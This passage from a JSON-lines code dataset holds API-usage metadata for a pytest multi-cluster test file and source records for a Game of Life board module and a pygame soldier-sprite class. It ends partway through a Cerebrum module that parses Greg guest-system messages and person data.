"call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1497, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 1505, "usage_type": "attribute"}, {"api_name": "step.multi_workspace_steps.step_delete_workspace", "line_number": 1508, "usage_type": "call"}, {"api_name": "step.multi_workspace_steps", "line_number": 1508, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1486, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1487, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1488, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1488, "usage_type": "attribute"}, {"api_name": "common.commonFunction.get_random", "line_number": 1515, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 1515, "usage_type": "name"}, {"api_name": "step.multi_workspace_steps.step_create_multi_ws", "line_number": 1517, "usage_type": "call"}, {"api_name": "step.multi_workspace_steps", "line_number": 1517, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_unauthorized_cluster_visibility", "line_number": 1519, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1519, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 1520, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_visibility", "line_number": 1522, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1522, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 1530, "usage_type": "attribute"}, {"api_name": "step.multi_workspace_steps.step_delete_workspace", "line_number": 1533, "usage_type": "call"}, {"api_name": "step.multi_workspace_steps", "line_number": 1533, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1510, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1511, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1512, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1512, "usage_type": "attribute"}, {"api_name": "common.commonFunction.get_random", "line_number": 1540, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 1540, "usage_type": "name"}, {"api_name": "step.multi_workspace_steps.step_create_multi_ws", "line_number": 1542, "usage_type": "call"}, {"api_name": "step.multi_workspace_steps", "line_number": 1542, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_authorized_cluster_visibility", "line_number": 1544, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1544, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 1546, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_visibility", "line_number": 1547, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1547, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 1555, "usage_type": "attribute"}, {"api_name": "step.multi_workspace_steps.step_delete_workspace", "line_number": 1558, "usage_type": "call"}, {"api_name": "step.multi_workspace_steps", "line_number": 1558, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1535, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1536, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1537, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1537, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_member", "line_number": 1565, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1565, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1560, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1561, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1562, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1562, "usage_type": "attribute"}, {"api_name": "common.commonFunction.get_random", "line_number": 1576, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 1576, "usage_type": "name"}, {"api_name": "common.commonFunction.get_random", "line_number": 1578, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 1578, "usage_type": "name"}, {"api_name": "step.platform_steps.step_create_user", "line_number": 1580, "usage_type": "call"}, {"api_name": "step.platform_steps", "line_number": 1580, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_invite_cluster_member", "line_number": 1584, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1584, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_member", "line_number": 1586, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1586, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 1589, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_remove_cluster_member", "line_number": 1592, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1592, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_member", "line_number": 1594, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1594, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 1596, "usage_type": "attribute"}, {"api_name": "step.platform_steps.step_delete_user", "line_number": 1599, "usage_type": "call"}, {"api_name": "step.platform_steps", "line_number": 1599, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1571, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1572, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1573, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1573, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_role", "line_number": 1608, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1608, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1601, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1602, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1603, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1603, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_open_cluster_gateway", "line_number": 1629, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1629, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_gateway", "line_number": 1631, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1631, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 1633, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_delete_cluster_gateway", "line_number": 1636, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1636, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 1637, "usage_type": "call"}, {"api_name": "allure.story", "line_number": 1618, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1619, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1620, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1620, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 1621, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 1621, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_open_cluster_gateway", "line_number": 1644, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1644, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_edit_cluster_gateway", "line_number": 1651, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1651, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_cluster_gateway", "line_number": 1653, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1653, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 1657, "usage_type": "attribute"}, {"api_name": "pytest.assume", "line_number": 1660, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_delete_cluster_gateway", "line_number": 1663, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1663, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 1664, "usage_type": "call"}, {"api_name": "allure.story", "line_number": 1639, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1640, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1641, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1641, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_open_cluster_gateway", "line_number": 1671, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1671, "usage_type": "name"}, {"api_name": "step.multi_cluster_steps.step_get_project_gateway", "line_number": 1673, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1673, "usage_type": "name"}, {"api_name": "pytest.assume", "line_number": 1677, "usage_type": "attribute"}, {"api_name": "step.multi_cluster_steps.step_delete_cluster_gateway", "line_number": 1680, "usage_type": "call"}, {"api_name": "step.multi_cluster_steps", "line_number": 1680, "usage_type": "name"}, {"api_name": "allure.story", "line_number": 1666, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 1667, "usage_type": "call"}, {"api_name": "allure.severity", "line_number": 1668, "usage_type": "call"}, {"api_name": "allure.severity_level", "line_number": 1668, "usage_type": "attribute"}, {"api_name": "allure.feature", "line_number": 14, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 15, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 15, "usage_type": "attribute"}, {"api_name": "common.commonFunction.check_multi_cluster", "line_number": 15, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 15, "usage_type": "name"}, {"api_name": "pytest.mark.skipif", "line_number": 16, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 16, "usage_type": "attribute"}, {"api_name": "common.commonFunction.check_multi_cluster", "line_number": 16, "usage_type": "call"}, {"api_name": "common.commonFunction", "line_number": 16, "usage_type": "name"}, {"api_name": "pytest.main", "line_number": 1684, "usage_type": "call"}]} {"seq_id": "1982117514", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\" Implements functions related to the creation, loading and updating\nof the game board.\n\"\"\"\n\nimport itertools\n\ndef create_board(row_count, col_count):\n \"\"\" Creates a board representation, row_count x col_count, with \n each cell initialized to 0.\n \"\"\"\n return [[0]*col_count for x in xrange(row_count)]\n\n\ndef load_construct(board, construct, top_row=0, left_col=0):\n \"\"\" Takes each live cell in construct and loads to board, setting\n the top left based on the coordinates entered.\n \"\"\"\n max_row, max_col = len(board), len(board[0])\n con_row, con_col = len(construct), len(construct[0])\n if max_row < con_row + top_row or \\\n max_col < con_col + left_col or \\\n top_row < 0 or \\\n left_col < 0:\n raise IndexError\n\n for row, col in get_coords(construct):\n board[row+top_row][col+left_col] = 1\n\n\ndef get_coords(construct):\n \"\"\" Takes construct and yields the coord of each live cell\n \"\"\"\n for i, row in enumerate(construct):\n for j, cell in enumerate(row):\n if cell:\n yield (i, j)\n\ndef next_board(board):\n \"\"\" Takes current board and returns new board with the next generation\n state, based on the following rules:\n 1) If cell is alive, remains alive if 2 or 3 surrounding cells are alive,\n else the cell dies.\n 2) If cell is dead, becomes alive if 3 surrounding cells are alive\n Surrounding cells are defined as the 8 cells horizontally, vertically \n and diagonally adjacent.\n Edges of the board are treated as \"dead\".\n \"\"\"\n max_row, max_col = len(board), len(board[0])\n new_board = create_board(max_row, max_col)\n\n coords = itertools.product(xrange(max_row), xrange(max_col))\n for cell_row, cell_col in coords:\n surrounding_alive = sum_neighbors(cell_row, cell_col, board)\n if board[cell_row][cell_col]:\n if surrounding_alive in (2, 3):\n new_board[cell_row][cell_col] = 1\n else:\n if surrounding_alive == 3:\n new_board[cell_row][cell_col] = 1\n\n return new_board\n\ndef sum_neighbors(cell_row, cell_col, board):\n \"\"\" Return sum of values of the 8 surrounding neighbors of a cell.\n Same as the number of alive neighbors of the cell.\n \"\"\"\n max_row, max_col = len(board), len(board[0])\n\n valid_coords = ((i, j) for i in valid_range(cell_row, max_row)\n for j in valid_range(cell_col, max_col))\n\n neighbor_vals = (board[row][col] for row, col in valid_coords)\n return sum(neighbor_vals) - board[cell_row][cell_col]\n\n\ndef valid_range(cell_index, side_count):\n \"\"\" Returns an xrange object that yields upto 9 cells, offset by\n -1 and 1 for each dimension, except where that hits against the\n borders of the board, in which case the valid neighbors is truncated.\n \"\"\"\n return xrange(max(0, cell_index-1), min(cell_index+2, side_count)) \n\ndef get_value(board, row, col):\n \"\"\" Get value of cell\n \"\"\"\n check_inputs(board, row, col)\n return board[row][col]\n\ndef set_alive(board, row, col):\n \"\"\" Set value of cell to alive\n \"\"\"\n check_inputs(board, row, col)\n board[row][col] = 1\n\ndef set_dead(board, row, col):\n \"\"\" Set value of cell to dead\n \"\"\"\n check_inputs(board, row, col)\n board[row][col] = 0\n\ndef check_inputs(board, row, col):\n max_row, max_col = len(board), len(board[0])\n if max_row <= row or \\\n max_col <= col or \\\n row < 0 or \\\n col < 0:\n raise IndexError\n\n\ndef main():\n pass\n\nif __name__ == '__main__':\n main()\n\n", "repo_name": "zehnpaard/Game_of_Life", "sub_path": "board.py", "file_name": "board.py", "file_ext": "py", "file_size_in_byte": 3648, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "itertools.product", "line_number": 54, "usage_type": "call"}]} {"seq_id": "8733425713", "text": "import pygame\nimport Velocity\nimport random\nimport os\nimport main\nfrom Game import *\nimport Bullet\nimport Grenade\nclass Soldier(pygame.sprite.Sprite):\n def __init__(self, x, y, scale, speed, type, flipped, grenades_count):\n super().__init__()\n # variables\n self.alive = True\n self.type = type\n self.x = x\n self.y = y\n self.velocity = Velocity(0, 0)\n self.direction = 0\n self.speed = speed\n self.jump = False\n self.double_jump = False\n self.jump_count = 0\n self.in_air = True\n self.flipped = flipped\n self.health = 100\n self.max_health = self.health\n self.sliding = False\n self.attacking = False\n self.diamonds = 0\n self.moving_right = False\n self.moving_left = False\n\n # ai specific variables\n self.move_counter = 0\n self.vision = pygame.Rect(0, 0, 150, 20)\n self.idling = False\n self.idling_counter = 0\n\n # Bullets\n self.shooting = False\n self.shoot_cooldown = 0\n self.ammo = 20\n self.start_ammo = self.ammo\n\n # grenades\n self.grenade = False\n self.grenade_thrown = False\n self.grenades_count = grenades_count\n\n\n # animation variables\n self.animation_list = []\n self.animate_index = 0\n self.action = 0\n self.update_time = pygame.time.get_ticks() # now\n\n\n # animation images\n if self.type == 'player':\n animations = ['Idle', 'Attack', 'Run', 'Crouch', 'Jump', 'Fall', 'Slide', 'Hurt', 'Death', 'Double_Jump']\n else:\n animations = ['Idle', 'Run', 'Jump', 'Death']\n\n for anim_type in animations:\n # reset temporary list of images\n temp_list = []\n # get number of files in the folder\n num_of_frames = len(os.listdir(f'img/{self.type}/{anim_type}'))\n # loop through each image/frame for the animations\n for i in range(num_of_frames):\n image = pygame.image.load(f'img/{self.type}/{anim_type}/{i}.png').convert_alpha()\n image = pygame.transform.scale(image, (int(image.get_width() * scale), int(image.get_height() * scale)))\n temp_list.append(image)\n self.animation_list.append(temp_list)\n\n\n # settings\n self.img = self.animation_list[self.action][self.animate_index]\n self.rect = self.img.get_rect()\n self.rect.center = (x, y)\n self.width = self.img.get_width()\n self.height = self.img.get_height()\n\n\n def update(self):\n self.update_animation()\n if self.attacking:\n enemies_attacked = pygame.sprite.spritecollide(player, enemy_group, False)\n if len(enemies_attacked) > 0:\n if enemies_attacked[0].alive:\n self.attack(enemies_attacked[0])\n self.check_alive()\n\n # update cooldown\n if self.shoot_cooldown > 0:\n self.shoot_cooldown -= 1\n\n\n def move(self):\n screen_scroll = 0\n\n # update action\n if self.alive:\n if self.grenade and not self.grenade_thrown and self.grenades_count > 0:\n self.throw_grenade()\n self.grenade_thrown = True\n self.grenades_count -= 1\n if self.in_air and self.type == 'player':\n if self.action != 9:\n self.update_action(4) # 4: jumping\n \n # elif moving_right or moving_left:\n # self.update_action(2) # 2: running\n # else:\n # self.update_action(0) # 0: idle\n\n\n # reset movement variables\n dx = 0\n dy = 0\n\n # assign movement variables if moving left or right\n if self.moving_left:\n dx = -self.speed\n self.flipped = True\n self.direction = -1\n if self.moving_right:\n dx = self.speed\n self.flipped = False\n self.direction = 1\n\n # jump\n if self.jump and not self.in_air:\n self.velocity.y = -11\n self.jump = False\n self.in_air = True\n\n self.double_jump = self.jump and self.in_air and self.jump_count <= 2\n if self.double_jump:\n self.double_jump = False\n self.update_action(9)\n self.velocity.y = -11\n self.jump = False\n\n # falling\n if self.velocity.y >= 0 and self.in_air and self.type == 'player':\n self.update_action(5) # Fall\n\n # apply gravity\n self.velocity.y += main.GRAVITY\n if self.velocity.y > 10:\n self.velocity.y\n dy += self.velocity.y\n\n # check for collision\n # x collision with objects\n for tile in main.world.obstacle_list:\n if tile[1].colliderect(self.rect.x + dx, self.rect.y, self.width, self.height):\n dx = 0\n # if the ai has hit a wall then make it turn around\n if self.type == 'enemy':\n self.direction *= -1\n self.move_counter = 0\n\n # y collision\n for tile in main.world.obstacle_list:\n if tile[1].colliderect(self.rect.x, self.rect.y + dy, self.width, self.height):\n # check if below the ground, i.e jumping\n if self.velocity.y < 0:\n self.velocity.y = 0\n dy = tile[1].bottom - self.rect.top\n # check if above the ground, i.e falling\n elif self.velocity.y >= 0:\n self.velocity.y = 0\n self.in_air = False\n self.double_jump = False\n self.jump_count = 0\n # # if falling keep the correct animation going\n if self.type == 'player':\n if self.action == 5:\n if self.moving_left or self.moving_right:\n self.update_action(2) # running\n else:\n self.update_action(0) # idle\n\n dy = tile[1].top - self.rect.bottom\n\n # check for collision with water or fallen off map \n if pygame.sprite.spritecollide(self, main.water_group, False) or self.rect.y > main.SCREEN_HEIGHT:\n self.health = 0\n\n\n # check for collision with exit\n level_complete = False\n if pygame.sprite.spritecollide(self, main.exit_group, False):\n level_complete = True\n\n # check if going off the edges of the screen\n if self.type == 'player':\n if self.rect.left + dx < 0 or self.rect.right + dx > main.SCREEN_WIDTH:\n dx = 0\n\n\n # update rectangle position\n self.rect.x += dx\n self.rect.y += dy\n\n # update scroll based on player position\n if self.type == 'player':\n if (self.rect.right > main.SCREEN_WIDTH - main.SCROLL_THRESH and main.bg_scroll < (main.world.level_length * main.TILE_SIZE) - main.SCREEN_WIDTH) or (self.rect.left < main.SCROLL_THRESH and main.bg_scroll > abs(dx)):\n self.rect.x -= dx\n screen_scroll = -dx\n\n return screen_scroll, level_complete\n\n def update_animation(self):\n ANIMATION_COOLDOWN = 100\n # update image depending on current frame\n self.img = self.animation_list[self.action][self.animate_index]\n\n # check if enough time has passed since the last update\n if pygame.time.get_ticks() - self.update_time > ANIMATION_COOLDOWN:\n self.update_time = pygame.time.get_ticks()\n self.animate_index += 1\n # if animation has run out then reset back to the start\n if self.animate_index >= len(self.animation_list[self.action]):\n # if animating death, make it stay on the last frame\n if ((self.action == 3 and self.type != 'player') or self.action == 8):\n self.animate_index = len(self.animation_list[self.action]) - 1\n else:\n self.animate_index = 0\n\n def update_action(self, new_action):\n # check if the new action is different to the previous one\n if new_action != self.action:\n self.action = new_action\n # update the animation settings\n self.animate_index = 0\n self.update_time = pygame.time.get_ticks()\n\n\n def shoot(self):\n if self.shoot_cooldown == 0 and self.ammo > 0 :\n self.shoot_cooldown = 5\n bullet = Bullet(self.rect.centerx + (0.75 * self.rect.size[0] * self.direction), self.rect.centery, self.direction)\n main.bullet_group.add(bullet)\n self.ammo -= 0\n main.shot_fx.play()\n\n\n def throw_grenade(self):\n if not self.flipped:\n grenade = Grenade(player.rect.centerx + (player.rect.size[0] * 0.5), player.rect.centery, 1)\n else:\n grenade = Grenade(player.rect.centerx - (player.rect.size[0] * 0.5), player.rect.centery, -1)\n grenade_group.add(grenade)\n\n def ai(self):\n if self.alive and player.alive:\n if random.randint(1, 200) == 1 and not self.idling:\n self.update_action(0) # 0: idle\n self.idling = True\n self.idling_counter = 50\n\n # check if the ai is near the player\n if self.vision.colliderect(player.rect):\n # stop running and shoot the player \n self.update_action(0) # 0: Idle\n self.shoot()\n # if ai doesnt see player\n else:\n if not self.idling:\n if self.direction == 1:\n self.moving_right = True\n else:\n self.moving_right = False\n self.moving_left = not self.moving_right\n self.move()\n self.update_action(1)\n self.move_counter += 1\n\n # update ai vision as the enemy moves\n self.vision.center = (self.rect.centerx + 75 * self.direction, self.rect.centery)\n\n if self.move_counter > TILE_SIZE:\n self.direction *= -1\n self.move_counter *= -1\n else:\n self.idling_counter -= 1\n if self.idling_counter <= 0:\n self.idling = False\n\n # scroll\n self.rect.x += main.screen_scroll\n\n def attack(self, target):\n hit_range_rect = pygame.Rect(self.rect.left - 10, self. rect.top - 10, self.rect.width + 10, self.rect.height + 10)\n if hit_range_rect.colliderect(target.rect):\n target.update_action(3)\n target.health -= 3\n target.direction = random.randint(-1, 1)\n\n def draw(self):\n if self.flipped:\n pygame.draw.rect(main.screen, main.BLACK, self.rect)\n main.screen.blit(pygame.transform.flip(self.img, True, False), self.rect)\n else:\n pygame.draw.rect(main.screen, main.BLACK, self.rect)\n main.screen.blit(self.img, self.rect)\n\n def check_alive(self):\n if self.health <= 0:\n self.health = 0\n self.speed = 0\n self.alive = False\n if self.type == 'player':\n self.update_action(8) \n else:\n self.update_action(3) \n return False\n else:\n return True", "repo_name": "yorick1125/Diamond_Adventure", "sub_path": "files/Soldier.py", "file_name": "Soldier.py", "file_ext": "py", "file_size_in_byte": 11585, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pygame.sprite", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.time.get_ticks", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 68, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 71, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 71, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 72, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 88, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 88, "usage_type": "attribute"}, {"api_name": "main.GRAVITY", "line_number": 150, "usage_type": "attribute"}, {"api_name": "main.world", "line_number": 157, "usage_type": "attribute"}, {"api_name": "main.world", "line_number": 166, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 189, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 189, "usage_type": "attribute"}, {"api_name": "main.water_group", "line_number": 189, "usage_type": "attribute"}, {"api_name": "main.SCREEN_HEIGHT", "line_number": 189, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 195, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 195, "usage_type": "attribute"}, {"api_name": "main.exit_group", "line_number": 195, "usage_type": "attribute"}, {"api_name": "main.SCREEN_WIDTH", "line_number": 200, "usage_type": "attribute"}, {"api_name": "main.SCREEN_WIDTH", "line_number": 210, "usage_type": "attribute"}, {"api_name": "main.SCROLL_THRESH", "line_number": 210, "usage_type": "attribute"}, {"api_name": "main.bg_scroll", "line_number": 210, "usage_type": "attribute"}, {"api_name": "main.world", "line_number": 210, "usage_type": "attribute"}, {"api_name": "main.TILE_SIZE", "line_number": 210, "usage_type": "attribute"}, {"api_name": "pygame.time.get_ticks", "line_number": 222, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 222, "usage_type": "attribute"}, {"api_name": "pygame.time.get_ticks", "line_number": 223, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 223, "usage_type": "attribute"}, {"api_name": "pygame.time.get_ticks", "line_number": 239, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 239, "usage_type": "attribute"}, {"api_name": "main.bullet_group.add", "line_number": 246, "usage_type": "call"}, {"api_name": "main.bullet_group", "line_number": 246, "usage_type": "attribute"}, {"api_name": "main.shot_fx.play", "line_number": 248, "usage_type": "call"}, {"api_name": "main.shot_fx", "line_number": 248, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 260, "usage_type": "call"}, {"api_name": "main.screen_scroll", "line_number": 294, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 297, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 301, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 305, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 305, "usage_type": "attribute"}, {"api_name": "main.screen", "line_number": 305, "usage_type": "attribute"}, {"api_name": "main.BLACK", "line_number": 305, "usage_type": "attribute"}, {"api_name": "main.screen.blit", "line_number": 306, "usage_type": "call"}, {"api_name": "main.screen", "line_number": 306, "usage_type": "attribute"}, {"api_name": "pygame.transform.flip", "line_number": 306, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 306, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 308, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 308, "usage_type": "attribute"}, {"api_name": "main.screen", "line_number": 308, "usage_type": "attribute"}, {"api_name": "main.BLACK", "line_number": 308, "usage_type": "attribute"}, {"api_name": "main.screen.blit", "line_number": 309, "usage_type": "call"}, {"api_name": "main.screen", "line_number": 309, "usage_type": "attribute"}]} {"seq_id": "43244482465", "text": "from __future__ import (\n absolute_import,\n division,\n print_function,\n unicode_literals,\n)\nimport json\nimport logging\n\nimport six\n\nfrom Cerebrum.utils import date as date_utils\nfrom Cerebrum.utils import textnorm\n\n\nlogger = logging.getLogger(__name__)\n\n\n# Generic convert/normalize utils\n\n\ndef normalize_id(greg_id):\n \"\"\" Get a normalized reference to a greg object id. \"\"\"\n return six.text_type(int(greg_id))\n\n\ndef parse_greg_date(value, allow_empty=False):\n \"\"\" Get a date object from a Greg date string. \"\"\"\n if not value and allow_empty:\n return None\n return date_utils.parse_date(value)\n\n\ndef parse_greg_dt(value, allow_empty=False):\n \"\"\" Get a tz-aware datetime from a Greg datetime string. \"\"\"\n if not value and allow_empty:\n return None\n dt = date_utils.parse_datetime_tz(value)\n return date_utils.to_timezone(dt)\n\n\ndef normalize_text(value, allow_empty=False):\n \"\"\" Get a normalized, non-empty text (or None). \"\"\"\n if value and not isinstance(value, six.string_types):\n value = six.text_type(value)\n if not value or not value.strip():\n if allow_empty:\n return None\n else:\n raise ValueError('empty text')\n return textnorm.normalize(value.strip())\n\n\n# Event message utils\n\n\ndef _get_msg_id(d):\n \"\"\" parse 'id' field from message dict. \"\"\"\n return normalize_id(d['id'])\n\n\ndef _get_msg_data(d):\n \"\"\" Get key/value pairs from 'data' field in message dict. \"\"\"\n # TODO/TBD: Potential pitfall - we make some assumptions here that covers\n # *all* messages. Some current or future messages *may* get more complex.\n # One alternative would be to try/except here, and skip values that doesn't\n # follow this format.\n for key, value in d.get('data', {}).items():\n norm_key = normalize_text(key)\n if norm_key.endswith('_id'):\n norm_value = normalize_id(value)\n else:\n norm_value = normalize_text(value)\n yield (norm_key, norm_value)\n\n\ndef parse_message(msg_text):\n \"\"\" Parse Greg message.\n\n :param str msg_text: json encoded message\n\n :rtype: dict\n :return:\n Returns a dict with message fields:\n\n - id (str): event id (e.g. \"3\")\n - type (str): event type (e.g. \"person.update\")\n - source (str): source system (e.g. \"greg:uio:prod\")\n - data (dict): event payload (e.g. {\"person_id\": \"2\"})\n \"\"\"\n msg_data = json.loads(msg_text)\n return {\n 'id': normalize_id(msg_data['id']),\n 'type': normalize_text(msg_data['type']),\n 'source': normalize_text(msg_data['source']),\n # 'version': msg_data['specversion'],\n 'data': dict(_get_msg_data(msg_data)) or {},\n }\n\n\n# API endpoint object utils\n\n\ndef _parse_orgunit_id(d):\n return {\n # 'id': normalize_id(d['id']),\n 'name': normalize_text(d['name']),\n 'source': normalize_text(d['source']),\n 'value': normalize_text(d['value']),\n }\n\n\ndef parse_orgunit(d):\n \"\"\"\n Sanitize and normalize org units from greg.\n\n Applies both to /orgunits/ and roles.orgunit from /persons/\n \"\"\"\n return {\n 'id': normalize_text(d['id']),\n 'parent': normalize_text(d['id'], allow_empty=True),\n 'active': bool(d['active']),\n # 'deleted': bool(d['deleted']),\n # 'created': parse_greg_dt(d['created']),\n # 'updated': parse_greg_dt(d['created']),\n # 'name_en': normalize_text(d['name_en']),\n # 'name_nb': normalize_text(d['name_nb']),\n 'identifiers': tuple(_parse_orgunit_id(i) for i in d['identifiers']),\n }\n\n\ndef _parse_person_consent(d):\n \"\"\" Parse/convert/filter/flatten consent object values. \"\"\"\n return {\n 'type': normalize_text(d['type']['identifier']),\n 'value': normalize_text(d['choice']),\n # 'valid_from': parse_greg_date(d['type']['valid_from']),\n # 'allowed_to_change': bool(d['type']['user_allowed_to_change']),\n # 'given_at': parse_greg_date(d['consent_given_at'])\n }\n\n\ndef _parse_person_id(d):\n \"\"\" Parse/convert/filter identity object values. \"\"\"\n return {\n 'id': normalize_id(d['id']),\n 'person': normalize_id(d['person']),\n 'source': normalize_text(d['source'], allow_empty=True),\n 'type': normalize_text(d['type']),\n 'value': normalize_text(d['value'], allow_empty=True),\n 'verified': normalize_text(d['verified'], allow_empty=True),\n # 'verified_at': parse_greg_dt(d['verified_at']),\n # 'verified_by': normalize_id(d['verified_by']),\n # 'created': parse_greg_dt(d['created']),\n # 'updated': parse_greg_dt(d['updated']),\n }\n\n\ndef _parse_person_role(d):\n \"\"\" Parse/convert/filter role object values. \"\"\"\n return {\n 'id': normalize_id(d['id']),\n 'type': normalize_text(d['type']),\n # TODO: The 'orgunit' field will probably change into an object, which\n # includes both the internal greg orgunit id, as well as the orgreg id\n 'orgunit': parse_orgunit(d['orgunit']),\n # 'sponsor_id': normalize_id(d['sponsor_id']),\n 'start_date': parse_greg_date(d['start_date']),\n 'end_date': parse_greg_date(d['end_date']),\n # 'created': parse_greg_dt(d['created']),\n # 'updated': parse_greg_dt(d['updated']),\n }\n\n\ndef parse_person(d):\n \"\"\" Sanitize and normalize guest (person) data. 